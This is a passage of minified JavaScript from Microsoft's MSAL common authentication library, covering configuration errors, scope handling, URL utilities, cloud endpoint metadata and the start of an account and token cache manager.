r_A={};_q(r_A,{urlParseError:()=>Tu,urlEmptyError:()=>_KA,untrustedAuthority:()=>MKA,tokenRequestEmpty:()=>ZKA,redirectUriEmpty:()=>XKA,pkceParamsMissing:()=>DKA,missingSshKid:()=>GbA,missingSshJwk:()=>yU,missingNonceAuthenticationHeader:()=>ZbA,logoutRequestEmpty:()=>WKA,invalidRequestMethodForEAR:()=>PbA,invalidCodeChallengeMethod:()=>_bA,invalidCloudDiscoveryMetadata:()=>yo,invalidClaims:()=>Ro,invalidAuthorizePostBodyParameters:()=>VbA,invalidAuthorityMetadata:()=>jKA,invalidAuthenticationHeader:()=>WbA,emptyInputScopesError:()=>GKA,claimsRequestParsingError:()=>$bA,cannotSetOIDCOptions:()=>DbA,cannotAllowPlatformBroker:()=>jbA,authorityUriInsecure:()=>$KA,authorityMismatch:()=>MbA});var XKA="redirect_uri_empty",$bA="claims_request_parsing_error",$KA="authority_uri_insecure",Tu="url_parse_error",_KA="empty_url_error",GKA="empty_input_scopes_error",Ro="invalid_claims",ZKA="token_request_empty",WKA="logout_request_empty",_bA="invalid_code_challenge_method",DKA="pkce_params_missing",yo="invalid_cloud_discovery_metadata",jKA="invalid_authority_metadata",MKA="untrusted_authority",yU="missing_ssh_jwk",GbA="missing_ssh_kid",ZbA="missing_nonce_authentication_header",WbA="invalid_authentication_header",DbA="cannot_set_OIDCOptions",jbA="cannot_allow_platform_broker",MbA="authority_mismatch",PbA="invalid_request_method_for_EAR",VbA="invalid_authorize_post_body_parameters";var IU=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});function az(A){return new o_A(A)}var kJ,Z06,o_A;var Io=k(()=>{DC();IU();/*! @azure/msal-common v15.13.1 2025-10-29 */kJ={[XKA]:"A redirect URI is required for all calls, and none has been set.",[$bA]:"Could not parse the given claims request object.",[$KA]:"Authority URIs must use https. Please see here for valid authority configuration options: https://docs.microsoft.com/en-us/azure/active-directory/develop/msal-js-initializing-client-applications#configuration-options",[Tu]:"URL could not be parsed into appropriate segments.",[_KA]:"URL was empty or null.",[GKA]:"Scopes cannot be passed as null, undefined or empty array because they are required to obtain an access token.",[Ro]:"Given claims parameter must be a stringified JSON object.",[ZKA]:"Token request was empty and not found in cache.",[WKA]:"The logout request was null or undefined.",[_bA]:'code_challenge_method passed is invalid. Valid values are "plain" and "S256".',[DKA]:"Both params: code_challenge and code_challenge_method are to be passed if to be sent in the request",[yo]:"Invalid cloudDiscoveryMetadata provided. Must be a stringified JSON object containing tenant_discovery_endpoint and metadata fields",[jKA]:"Invalid authorityMetadata provided. Must by a stringified JSON object containing authorization_endpoint, token_endpoint, issuer fields.",[MKA]:"The provided authority is not a trusted authority. Please include this authority in the knownAuthorities config parameter.",[yU]:"Missing sshJwk in SSH certificate request. A stringified JSON Web Key is required when using the SSH authentication scheme.",[GbA]:"Missing sshKid in SSH certificate request. A string that uniquely identifies the public SSH key is required when using the SSH authentication scheme.",[ZbA]:"Unable to find an authentication header containing server nonce. Either the Authentication-Info or WWW-Authenticate headers must be present in order to obtain a server nonce.",[WbA]:"Invalid authentication header provided",[DbA]:"Cannot set OIDCOptions parameter. Please change the protocol mode to OIDC or use a non-Microsoft authority.",[jbA]:"Cannot set allowPlatformBroker parameter to true when not in AAD protocol mode.",[MbA]:"Authority mismatch error. Authority provided in login request or PublicClientApplication config does not match the environment of the provided account. Please use a matching account or make an interactive request to login to this authority.",[VbA]:"Invalid authorize post body parameters provided. If you are using authorizePostBodyParameters, the request method must be POST. Please check the request method and parameters.",[PbA]:"Invalid request method for EAR protocol mode. The request method cannot be GET when using EAR protocol mode. Please change the request method to POST."},Z06={redirectUriNotSet:{code:XKA,desc:kJ[XKA]},claimsRequestParsingError:{code:$bA,desc:kJ[$bA]},authorityUriInsecure:{code:$KA,desc:kJ[$KA]},urlParseError:{code:Tu,desc:kJ[Tu]},urlEmptyError:{code:_KA,desc:kJ[_KA]},emptyScopesError:{code:GKA,desc:kJ[GKA]},invalidClaimsRequest:{code:Ro,desc:kJ[Ro]},tokenRequestEmptyError:{code:ZKA,desc:kJ[ZKA]},logoutRequestEmptyError:{code:WKA,desc:kJ[WKA]},invalidCodeChallengeMethod:{code:_bA,desc:kJ[_bA]},invalidCodeChallengeParams:{code:DKA,desc:kJ[DKA]},invalidCloudDiscoveryMetadata:{code:yo,desc:kJ[yo]},invalidAuthorityMetadata:{code:jKA,desc:kJ[jKA]},untrustedAuthority:{code:MKA,desc:kJ[MKA]},missingSshJwk:{code:yU,desc:kJ[yU]},missingSshKid:{code:GbA,desc:kJ[GbA]},missingNonceAuthenticationHeader:{code:ZbA,desc:kJ[ZbA]},invalidAuthenticationHeader:{code:WbA,desc:kJ[WbA]},cannotSetOIDCOptions:{code:DbA,desc:kJ[DbA]},cannotAllowPlatformBroker:{code:jbA,desc:kJ[jbA]},authorityMismatch:{code:MbA,desc:kJ[MbA]},invalidAuthorizePostBodyParameters:{code:VbA,desc:kJ[VbA]},invalidRequestMethodForEAR:{code:PbA,desc:kJ[PbA]}};o_A=class o_A extends V5{constructor(A){super(A,kJ[A]);this.name="ClientConfigurationError",Object.setPrototypeOf(this,o_A.prototype)}}});class Vw{static isEmptyObj(A){if(A)try{let K=JSON.parse(A);return Object.keys(K).length===0}catch(K){}return!0}static startsWith(A,K){return A.indexOf(K)===0}static endsWith(A,K){return A.length>=K.length&&A.lastIndexOf(K)===A.length-K.length}static queryStringToObject(A){let K={},q=A.split("&"),Y=(z)=>decodeURIComponent(z.replace(/\+/g," "));return q.forEach((z)=>{if(z.trim()){let[w,H]=z.split(/=(.+)/g,2);if(w&&H)K[Y(w)]=Y(H)}}),K}static trimArrayEntries(A){return A.map((K)=>K.trim())}static removeEmptyStringsFromArray(A){return A.filter((K)=>{return!!K})}static jsonParseHelper(A){try{return JSON.parse(A)}catch(K){return null}}static matchPattern(A,K){return new RegExp(A.replace(/\\/g,"\\\\").replace(/\*/g,"[^ ]*").replace(/\?/g,"\\?")).test(K)}}var So=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});class A0{constructor(A){let K=A?Vw.trimArrayEntries([...A]):[],q=K?Vw.removeEmptyStringsFromArray(K):[];if(!q||!q.length)throw az(GKA);this.scopes=new Set,q.forEach((Y)=>this.scopes.add(Y))}static fromString(A){let q=(A||u6.EMPTY_STRING).split(" ");return new A0(q)}static createSearchScopes(A){let K=A&&A.length>0?A:[...mD],q=new A0(K);if(!q.containsOnlyOIDCScopes())q.removeOIDCScopes();else q.removeScope(u6.OFFLINE_ACCESS_SCOPE);return q}containsScope(A){let K=this.printScopesLowerCase().split(" "),q=new A0(K);return A?q.scopes.has(A.toLowerCase()):!1}containsScopeSet(A){if(!A||A.scopes.size<=0)return!1;return this.scopes.size>=A.scopes.size&&A.asArray().every((K)=>this.containsScope(K))}containsOnlyOIDCScopes(){let A=0;return J06.forEach((K)=>{if(this.containsScope(K))A+=1}),this.scopes.size===A}appendScope(A){if(A)this.scopes.add(A.trim())}appendScopes(A){try{A.forEach((K)=>this.appendScope(K))}catch(K){throw t6(YKA)}}removeScope(A){if(!A)throw t6(qKA);this.scopes.delete(A.trim())}removeOIDCScopes(){J06.forEach((A)=>{this.scopes.delete(A)})}unionScopeSets(A){if(!A)throw t6(ko);let K=new Set;return A.scopes.forEach((q)=>K.add(q.toLowerCase())),this.scopes.forEach((q)=>K.add(q.toLowerCase())),K}intersectingScopeSets(A){if(!A)throw t6(ko);if(!A.containsOnlyOIDCScopes())A.removeOIDCScopes();let K=this.unionScopeSets(A),q=A.getScopeCount(),Y=this.getScopeCount();return K.size<Y+q}getScopeCount(){return this.scopes.size}asArray(){let A=[];return this.scopes.forEach((K)=>A.push(K)),A}printScopes(){if(this.scopes)return this.asArray().join(" ");return u6.EMPTY_STRING}printScopesLowerCase(){return this.printScopes().toLowerCase()}}var fbA=k(()=>{Io();So();H$();zH();IU();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */});function a_A(A,K){if(!A)throw t6(i7A);try{let q=K(A);return JSON.parse(q)}catch(q){throw t6(To)}}function vu(A){if(!A)throw t6(To);let K=A.split(vU.CLIENT_INFO_SEPARATOR,2);return{uid:K[0],utid:K.length<2?u6.EMPTY_STRING:K[1]}}var s_A=k(()=>{H$();zH();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */});function j17(A,K){return!!A&&!!K&&A===K.split(".")[1]}function NbA(A,K,q,Y){if(Y){let{oid:z,sub:w,tid:H,name:J,tfp:O,acr:X,preferred_username:$,upn:_,login_hint:G}=Y,Z=H||O||X||"";return{tenantId:Z,localAccountId:z||w||"",name:J,username:$||_||"",loginHint:G,isHomeTenant:j17(Z,A)}}else return{tenantId:q,localAccountId:K,username:"",isHomeTenant:j17(q,A)}}function qH1(A,K,q,Y){let z=A;if(K){let{isHomeTenant:w,...H}=K;z={...A,...H}}if(q){let{isHomeTenant:w,...H}=NbA(A.homeAccountId,A.localAccountId,A.tenantId,q);return z={...z,...H,idTokenClaims:q,idToken:Y},z}return z}var YH1=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});var jC;var W06=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */jC={Default:0,Adfs:1,Dsts:2,Ciam:3}});function zH1(A){if(A)return A.tid||A.tfp||A.acr||null;return null}var D06=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});var gD;var TbA=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */gD={AAD:"AAD",OIDC:"OIDC",EAR:"EAR"}});class J${static getAccountInfo(A){return{homeAccountId:A.homeAccountId,environment:A.environment,tenantId:A.realm,username:A.username,localAccountId:A.localAccountId,loginHint:A.loginHint,name:A.name,nativeAccountId:A.nativeAccountId,authorityType:A.authorityType,tenantProfiles:new Map((A.tenantProfiles||[]).map((K)=>{return[K.tenantId,K]})),dataBoundary:A.dataBoundary}}isSingleTenant(){return!this.tenantProfiles}static createAccount(A,K,q){let Y=new J$;if(K.authorityType===jC.Adfs)Y.authorityType=c7A.ADFS_ACCOUNT_TYPE;else if(K.protocolMode===gD.OIDC)Y.authorityType=c7A.GENERIC_ACCOUNT_TYPE;else Y.authorityType=c7A.MSSTS_ACCOUNT_TYPE;let z;if(A.clientInfo&&q){if(z=a_A(A.clientInfo,q),z.xms_tdbr)Y.dataBoundary=z.xms_tdbr==="EU"?"EU":"None"}Y.clientInfo=A.clientInfo,Y.homeAccountId=A.homeAccountId,Y.nativeAccountId=A.nativeAccountId;let w=A.environment||K&&K.getPreferredCache();if(!w)throw t6(CU);Y.environment=w,Y.realm=z?.utid||zH1(A.idTokenClaims)||"",Y.localAccountId=z?.uid||A.idTokenClaims?.oid||A.idTokenClaims?.sub||"";let H=A.idTokenClaims?.preferred_username||A.idTokenClaims?.upn,J=A.idTokenClaims?.emails?A.idTokenClaims.emails[0]:null;if(Y.username=H||J||"",Y.loginHint=A.idTokenClaims?.login_hint,Y.name=A.idTokenClaims?.name||"",Y.cloudGraphHostName=A.cloudGraphHostName,Y.msGraphHost=A.msGraphHost,A.tenantProfiles)Y.tenantProfiles=A.tenantProfiles;else{let O=NbA(A.homeAccountId,Y.localAccountId,Y.realm,A.idTokenClaims);Y.tenantProfiles=[O]}return Y}static createFromAccountInfo(A,K,q){let Y=new J$;return Y.authorityType=A.authorityType||c7A.GENERIC_ACCOUNT_TYPE,Y.homeAccountId=A.homeAccountId,Y.localAccountId=A.localAccountId,Y.nativeAccountId=A.nativeAccountId,Y.realm=A.tenantId,Y.environment=A.environment,Y.username=A.username,Y.name=A.name,Y.loginHint=A.loginHint,Y.cloudGraphHostName=K,Y.msGraphHost=q,Y.tenantProfiles=Array.from(A.tenantProfiles?.values()||[]),Y.dataBoundary=A.dataBoundary,Y}static generateHomeAccountId(A,K,q,Y,z){if(!(K===jC.Adfs||K===jC.Dsts)){if(A)try{let w=a_A(A,Y.base64Decode);if(w.uid&&w.utid)return`${w.uid}.${w.utid}`}catch(w){}q.warning("No client info in response")}return z?.sub||""}static isAccountEntity(A){if(!A)return!1;return A.hasOwnProperty("homeAccountId")&&A.hasOwnProperty("environment")&&A.hasOwnProperty("realm")&&A.hasOwnProperty("localAccountId")&&A.hasOwnProperty("username")&&A.hasOwnProperty("authorityType")}static accountInfoIsEqual(A,K,q){if(!A||!K)return!1;let Y=!0;if(q){let z=A.idTokenClaims||{},w=K.idTokenClaims||{};Y=z.iat===w.iat&&z.nonce===w.nonce}return A.homeAccountId===K.homeAccountId&&A.localAccountId===K.localAccountId&&A.username===K.username&&A.tenantId===K.tenantId&&A.loginHint===K.loginHint&&A.environment===K.environment&&A.nativeAccountId===K.nativeAccountId&&Y}}var wH1=k(()=>{zH();s_A();YH1();H$();W06();D06();TbA();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */});var HH1={};_q(HH1,{isKmsi:()=>j06,getJWSPayload:()=>M17,extractTokenClaims:()=>SU,checkMaxAge:()=>vbA});function SU(A,K){let q=M17(A);try{let Y=K(q);return JSON.parse(Y)}catch(Y){throw t6(vo)}}function j06(A){if(!A.signin_state)return!1;let K=["kmsi","dvc_dmjd"];return A.signin_state.some((Y)=>K.includes(Y.trim().toLowerCase()))}function M17(A){if(!A)throw t6(n7A);let q=/^([^\.\s]*)\.([^\.\s]+)\.([^\.\s]*)$/.exec(A);if(!q||q.length<4)throw t6(vo);return q[2]}function vbA(A,K){if(K===0||Date.now()-300000>A+K)throw t6(e7A)}var t_A=k(()=>{H$();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */});var iZ={};_q(iZ,{stripLeadingHashOrQuery:()=>V17,normalizeUrlForComparison:()=>K8Y,mapToQueryString:()=>Eu,getDeserializedResponse:()=>M06});function P17(A){if(!A)return A;let K=A.toLowerCase();if(Vw.endsWith(K,"?"))K=K.slice(0,-1);else if(Vw.endsWith(K,"?/"))K=K.slice(0,-2);if(!Vw.endsWith(K,"/"))K+="/";return K}function V17(A){if(A.startsWith("#/"))return A.substring(2);else if(A.startsWith("#")||A.startsWith("?"))return A.substring(1);return A}function M06(A){if(!A||A.indexOf("=")<0)return null;try{let K=V17(A),q=Object.fromEntries(new URLSearchParams(K));if(q.code||q.ear_jwe||q.error||q.error_description||q.state)return q}catch(K){throw t6(a7A)}return null}function Eu(A,K=!0,q){let Y=[];return A.forEach((z,w)=>{if(!K&&q&&w in q)Y.push(`${w}=${z}`);else Y.push(`${w}=${encodeURIComponent(z)}`)}),Y.join("&")}function K8Y(A){if(!A)return A;let K=A.split("#")[0];try{let q=new URL(K),Y=q.origin+q.pathname+q.search;return P17(Y)}catch(q){return P17(K)}}var PKA=k(()=>{H$();So();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */});class p5{get urlString(){return this._urlString}constructor(A){if(this._urlString=A,!this._urlString)throw az(_KA);if(!A.includes("#"))this._urlString=p5.canonicalizeUri(A)}static canonicalizeUri(A){if(A){let K=A.toLowerCase();if(Vw.endsWith(K,"?"))K=K.slice(0,-1);else if(Vw.endsWith(K,"?/"))K=K.slice(0,-2);if(!Vw.endsWith(K,"/"))K+="/";return K}return A}validateAsUri(){let A;try{A=this.getUrlComponents()}catch(K){throw az(Tu)}if(!A.HostNameAndPort||!A.PathSegments)throw az(Tu);if(!A.Protocol||A.Protocol.toLowerCase()!=="https:")throw az($KA)}static appendQueryString(A,K){if(!K)return A;return A.indexOf("?")<0?`${A}?${K}`:`${A}&${K}`}static removeHashFromUrl(A){return p5.canonicalizeUri(A.split("#")[0])}replaceTenantPath(A){let K=this.getUrlComponents(),q=K.PathSegments;if(A&&q.length!==0&&(q[0]===oV.COMMON||q[0]===oV.ORGANIZATIONS))q[0]=A;return p5.constructAuthorityUriFromObject(K)}getUrlComponents(){let A=RegExp("^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\\?([^#]*))?(#(.*))?"),K=this.urlString.match(A);if(!K)throw az(Tu);let q={Protocol:K[1],HostNameAndPort:K[4],AbsolutePath:K[5],QueryString:K[7]},Y=q.AbsolutePath.split("/");if(Y=Y.filter((z)=>z&&z.length>0),q.PathSegments=Y,q.QueryString&&q.QueryString.endsWith("/"))q.QueryString=q.QueryString.substring(0,q.QueryString.length-1);return q}static getDomainFromUrl(A){let K=RegExp("^([^:/?#]+://)?([^/?#]*)"),q=A.match(K);if(!q)throw az(Tu);return q[2]}static getAbsoluteUrl(A,K){if(A[0]===u6.FORWARD_SLASH){let Y=new p5(K).getUrlComponents();return Y.Protocol+"//"+Y.HostNameAndPort+A}return A}static constructAuthorityUriFromObject(A){return new p5(A.Protocol+"//"+A.HostNameAndPort+"/"+A.PathSegments.join("/"))}static hashContainsKnownProperties(A){return!!M06(A)}}var ho=k(()=>{Io();So();zH();PKA();IU();/*! @azure/msal-common v15.13.1 2025-10-29 */});function T17(A,K){let q,Y=A.canonicalAuthority;if(Y){let z=new p5(Y).getUrlComponents().HostNameAndPort;q=f17(z,A.cloudDiscoveryMetadata?.metadata,EM.CONFIG,K)||f17(z,V06.metadata,EM.HARDCODED_VALUES,K)||A.knownAuthorities}return q||[]}function f17(A,K,q,Y){if(Y?.trace(`getAliasesFromMetadata called with source: ${q}`),A&&K){let z=EbA(K,A);if(z)return Y?.trace(`getAliasesFromMetadata: found cloud discovery metadata in ${q}, returning aliases`),z.aliases;else Y?.trace(`getAliasesFromMetadata: did not find cloud discovery metadata in ${q}`)}return null}function v17(A){return EbA(V06.metadata,A)}function EbA(A,K){for(let q=0;q<A.length;q++){let Y=A[q];if(Y.aliases.includes(K))return Y}return null}var N17,P06,V06,f06;var N06=k(()=>{ho();zH();/*! @azure/msal-common v15.13.1 2025-10-29 */N17={endpointMetadata:{"login.microsoftonline.com":{token_endpoint:"https://login.microsoftonline.com/{tenantid}/oauth2/v2.0/token",jwks_uri:"https://login.microsoftonline.com/{tenantid}/discovery/v2.0/keys",issuer:"https://login.microsoftonline.com/{tenantid}/v2.0",authorization_endpoint:"https://login.microsoftonline.com/{tenantid}/oauth2/v2.0/authorize",end_session_endpoint:"https://login.microsoftonline.com/{tenantid}/oauth2/v2.0/logout"},"login.chinacloudapi.cn":{token_endpoint:"https://login.chinacloudapi.cn/{tenantid}/oauth2/v2.0/token",jwks_uri:"https://login.chinacloudapi.cn/{tenantid}/discovery/v2.0/keys",issuer:"https://login.partner.microsoftonline.cn/{tenantid}/v2.0",authorization_endpoint:"https://login.chinacloudapi.cn/{tenantid}/oauth2/v2.0/authorize",end_session_endpoint:"https://login.chinacloudapi.cn/{tenantid}/oauth2/v2.0/logout"},"login.microsoftonline.us":{token_endpoint:"https://login.microsoftonline.us/{tenantid}/oauth2/v2.0/token",jwks_uri:"https://login.microsoftonline.us/{tenantid}/discovery/v2.0/keys",issuer:"https://login.microsoftonline.us/{tenantid}/v2.0",authorization_endpoint:"https://login.microsoftonline.us/{tenantid}/oauth2/v2.0/authorize",end_session_endpoint:"https://login.microsoftonline.us/{tenantid}/oauth2/v2.0/logout"}},instanceDiscoveryMetadata:{metadata:[{preferred_network:"login.microsoftonline.com",preferred_cache:"login.windows.net",aliases:["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"]},{preferred_network:"login.partner.microsoftonline.cn",preferred_cache:"login.partner.microsoftonline.cn",aliases:["login.partner.microsoftonline.cn","login.chinacloudapi.cn"]},{preferred_network:"login.microsoftonline.de",preferred_cache:"login.microsoftonline.de",aliases:["login.microsoftonline.de"]},{preferred_network:"login.microsoftonline.us",preferred_cache:"login.microsoftonline.us",aliases:["login.microsoftonline.us","login.usgovcloudapi.net"]},{preferred_network:"login-us.microsoftonline.com",preferred_cache:"login-us.microsoftonline.com",aliases:["login-us.microsoftonline.com"]}]}},P06=N17.endpointMetadata,V06=N17.instanceDiscoveryMetadata,f06=new Set;V06.metadata.forEach((A)=>{A.aliases.forEach((K)=>{f06.add(K)})})});var T06="cache_quota_exceeded",JH1="cache_error_unknown";var E17=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});function k17(A){if(!(A instanceof Error))return new kbA(JH1);if(A.name==="QuotaExceededError"||A.name==="NS_ERROR_DOM_QUOTA_REACHED"||A.message.includes("exceeded the quota"))return new kbA(T06);else return new kbA(A.name,A.message)}var v06,kbA;var C17=k(()=>{DC();E17();/*! @azure/msal-common v15.13.1 2025-10-29 */v06={[T06]:"Exceeded cache storage capacity.",[JH1]:"Unexpected error occurred when using cache storage."};kbA=class kbA extends V5{constructor(A,K){let q=K||(v06[A]?v06[A]:v06[JH1]);super(`${A}: ${q}`);Object.setPrototypeOf(this,kbA.prototype),this.name="CacheError",this.errorCode=A,this.errorMessage=q}}});class VKA{constructor(A,K,q,Y,z){this.clientId=A,this.cryptoImpl=K,this.commonLogger=q.clone(ew1,n_A),this.staticAuthorityOptions=z,this.performanceClient=Y}getAllAccounts(A,K){return this.buildTenantProfiles(this.getAccountsFilteredBy(A,K),K,A)}getAccountInfoFilteredBy(A,K){if(Object.keys(A).length===0||Object.values(A).every((Y)=>!Y))return this.commonLogger.warning("getAccountInfoFilteredBy: Account filter is empty or invalid, returning null"),null;let q=this.getAllAccounts(A,K);if(q.length>1)return q.sort((z)=>{return z.idTokenClaims?-1:1})[0];else if(q.length===1)return q[0];else return null}getBaseAccountInfo(A,K){let q=this.getAccountsFilteredBy(A,K);if(q.length>0)return J$.getAccountInfo(q[0]);else return null}buildTenantProfiles(A,K,q){return A.flatMap((Y)=>{return this.getTenantProfilesFromAccountEntity(Y,K,q?.tenantId,q)})}getTenantedAccountInfoByFilter(A,K,q,Y,z){let w=null,H;if(z){if(!this.tenantProfileMatchesFilter(q,z))return null}let J=this.getIdToken(A,Y,K,q.tenantId);if(J){if(H=SU(J.secret,this.cryptoImpl.base64Decode),!this.idTokenClaimsMatchTenantProfileFilter(H,z))return null}return w=qH1(A,q,H,J?.secret),w}getTenantProfilesFromAccountEntity(A,K,q,Y){let z=J$.getAccountInfo(A),w=z.tenantProfiles||new Map,H=this.getTokenKeys();if(q){let O=w.get(q);if(O)w=new Map([[q,O]]);else return[]}let J=[];return w.forEach((O)=>{let X=this.getTenantedAccountInfoByFilter(z,H,O,K,Y);if(X)J.push(X)}),J}tenantProfileMatchesFilter(A,K){if(!!K.localAccountId&&!this.matchLocalAccountIdFromTenantProfile(A,K.localAccountId))return!1;if(!!K.name&&A.name!==K.name)return!1;if(K.isHomeTenant!==void 0&&A.isHomeTenant!==K.isHomeTenant)return!1;return!0}idTokenClaimsMatchTenantProfileFilter(A,K){if(K){if(!!K.localAccountId&&!this.matchLocalAccountIdFromTokenClaims(A,K.localAccountId))return!1;if(!!K.loginHint&&!this.matchLoginHintFromTokenClaims(A,K.loginHint))return!1;if(!!K.username&&!this.matchUsername(A.preferred_username,K.username))return!1;if(!!K.name&&!this.matchName(A,K.name))return!1;if(!!K.sid&&!this.matchSid(A,K.sid))return!1}return!0}async saveCacheRecord(A,K,q,Y){if(!A)throw t6(zKA);try{if(A.account)await this.setAccount(A.account,K,q);if(!!A.idToken&&Y?.idToken!==!1)await this.setIdTokenCredential(A.idToken,K,q);if(!!A.accessToken&&Y?.accessToken!==!1)await this.saveAccessToken(A.accessToken,K,q);if(!!A.refreshToken&&Y?.refreshToken!==!1)await this.setRefreshTokenCredential(A.refreshToken,K,q);if(A.appMetadata)this.setAppMetadata(A.appMetadata,K)}catch(z){if(this.commonLogger?.error("CacheManager.saveCacheRecord: failed"),z instanceof V5)throw z;else throw k17(z)}}async saveAccessToken(A,K,q){let Y={clientId:A.clientId,credentialType:A.credentialType,environment:A.environment,homeAccountId:A.homeAccountId,realm:A.realm,tokenType:A.tokenType,requestedClaimsHash:A.requestedClaimsHash},z=this.getTokenKeys(),w=A0.fromString(A.target);z.accessToken.forEach((H)=>{if(!this.accessTokenKeyMatchesFilter(H,Y,!1))return;let J=this.getAccessTokenCredential(H,K);if(J&&this.credentialMatchesFilter(J,Y)){if(A0.fromString(J.target).intersectingScopeSets(w))this.removeAccessToken(H,K)}}),await this.setAccessTokenCredential(A,K,q)}getAccountsFilteredBy(A,K){let q=this.getAccountKeys(),Y=[];return q.forEach((z)=>{let w=this.getAccount(z,K);if(!w)return;if(!!A.homeAccountId&&!this.matchHomeAccountId(w,A.homeAccountId))return;if(!!A.username&&!this.matchUsername(w.username,A.username))return;if(!!A.environment&&!this.matchEnvironment(w,A.environment))return;if(!!A.realm&&!this.matchRealm(w,A.realm))return;if(!!A.nativeAccountId&&!this.matchNativeAccountId(w,A.nativeAccountId))return;if(!!A.authorityType&&!this.matchAuthorityType(w,A.authorityType))return;let H={localAccountId:A?.localAccountId,name:A?.name},J=w.tenantProfiles?.filter((O)=>{return this.tenantProfileMatchesFilter(O,H)});if(J&&J.length===0)return;Y.push(w)}),Y}credentialMatchesFilter(A,K){if(!!K.clientId&&!this.matchClientId(A,K.clientId))return!1;if(!!K.userAssertionHash&&!this.matchUserAssertionHash(A,K.userAssertionHash))return!1;if(typeof K.homeAccountId==="string"&&!this.matchHomeAccountId(A,K.homeAccountId))return!1;if(!!K.environment&&!this.matchEnvironment(A,K.environment))return!1;if(!!K.realm&&!this.matchRealm(A,K.realm))return!1;if(!!K.credentialType&&!this.matchCredentialType(A,K.credentialType))return!1;if(!!K.familyId&&!this.matchFamilyId(A,K.familyId))return!1;if(!!K.target&&!this.matchTarget(A,K.target))return!1;if(K.requestedClaimsHash||A.requestedClaimsHash){if(A.requestedClaimsHash!==K.requestedClaimsHash)return!1}if(A.credentialType===U2.ACCESS_TOKEN_WITH_AUTH_SCHEME){if(!!K.tokenType&&!this.matchTokenType(A,K.tokenType))return!1;if(K.tokenType===x9.SSH){if(K.keyId&&!this.matchKeyId(A,K.keyId))return!1}}return!0}getAppMetadataFilteredBy(A){let K=this.getKeys(),q={};return K.forEach((Y)=>{if(!this.isAppMetadata(Y))return;let z=this.getAppMetadata(Y);if(!z)return;if(!!A.environment&&!this.matchEnvironment(z,A.environment))return;if(!!A.clientId&&!this.matchClientId(z,A.clientId))return;q[Y]=z}),q}getAuthorityMetadataByAlias(A){let K=this.getAuthorityMetadataKeys(),q=null;return K.forEach((Y)=>{if(!this.isAuthorityMetadata(Y)||Y.indexOf(this.clientId)===-1)return;let z=this.getAuthorityMetadata(Y);if(!z)return;if(z.aliases.indexOf(A)===-1)return;q=z}),q}removeAllAccounts(A){this.getAllAccounts({},A).forEach((q)=>{this.removeAccount(q,A)})}removeAccount(A,K){this.removeAccountContext(A,K);let q=this.getAccountKeys(),Y=(z)=>{return z.includes(A.homeAccountId)&&z.includes(A.environment)};q.filter(Y).forEach((z)=>{this.removeItem(z,K),this.performanceClient.incrementFields({accountsRemoved:1},K)})}removeAccountContext(A,K){let q=this.getTokenKeys(),Y=(z)=>{return z.includes(A.homeAccountId)&&z.includes(A.environment)};q.idToken.filter(Y).forEach((z)=>{this.removeIdToken(z,K)}),q.accessToken.filter(Y).forEach((z)=>{this.removeAccessToken(z,K)}),q.refreshToken.filter(Y).forEach((z)=>{this.removeRefreshToken(z,K)})}removeAccessToken(A,K){let q=this.getAccessTokenCredential(A,K);if(this.removeItem(A,K),this.performanceClient.incrementFields({accessTokensRemoved:1},K),!q||q.credentialType.toLowerCase()!==U2.ACCESS_TOKEN_WITH_AUTH_SCHEME.toLowerCase()||q.tokenType!==x9.POP)return;let Y=q.keyId;if(Y)this.cryptoImpl.removeTokenBindingKey(Y).catch(()=>{this.commonLogger.error(`Failed to remove token binding key ${Y}`,K),this.performanceClient?.incrementFields({removeTokenBindingKeyFailure:1},K)})}removeAppMetadata(A){return this.getKeys().forEach((q)=>{if(this.isAppMetadata(q))this.removeItem(q,A)}),!0}getIdToken(A,K,q,Y,z){this.commonLogger.trace("CacheManager - getIdToken called");let w={homeAccountId:A.homeAccountId,environment:A.environment,credentialType:U2.ID_TOKEN,clientId:this.clientId,realm:Y},H=this.getIdTokensByFilter(w,K,q),J=H.size;if(J<1)return this.commonLogger.info("CacheManager:getIdToken - No token found"),null;else if(J>1){let O=H;if(!Y){let X=new Map;H.forEach((_,G)=>{if(_.realm===A.tenantId)X.set(G,_)});let $=X.size;if($<1)return this.commonLogger.info("CacheManager:getIdToken - Multiple ID tokens found for account but none match account entity tenant id, returning first result"),H.values().next().value;else if($===1)return this.commonLogger.info("CacheManager:getIdToken - Multiple ID tokens found for account, defaulting to home tenant profile"),X.values().next().value;else O=X}if(this.commonLogger.info("CacheManager:getIdToken - Multiple matching ID tokens found, clearing them"),O.forEach((X,$)=>{this.removeIdToken($,K)}),z&&K)z.addFields({multiMatchedID:H.size},K);return null}return this.commonLogger.info("CacheManager:getIdToken - Returning ID token"),H.values().next().value}getIdTokensByFilter(A,K,q){let Y=q&&q.idToken||this.getTokenKeys().idToken,z=new Map;return Y.forEach((w)=>{if(!this.idTokenKeyMatchesFilter(w,{clientId:this.clientId,...A}))return;let H=this.getIdTokenCredential(w,K);if(H&&this.credentialMatchesFilter(H,A))z.set(w,H)}),z}idTokenKeyMatchesFilter(A,K){let q=A.toLowerCase();if(K.clientId&&q.indexOf(K.clientId.toLowerCase())===-1)return!1;if(K.homeAccountId&&q.indexOf(K.homeAccountId.toLowerCase())===-1)return!1;return!0}removeIdToken(A,K){this.removeItem(A,K)}removeRefreshToken(A,K){this.removeItem(A,K)}getAccessToken(A,K,q,Y){let z=K.correlationId;this.commonLogger.trace("CacheManager - getAccessToken called",z);let 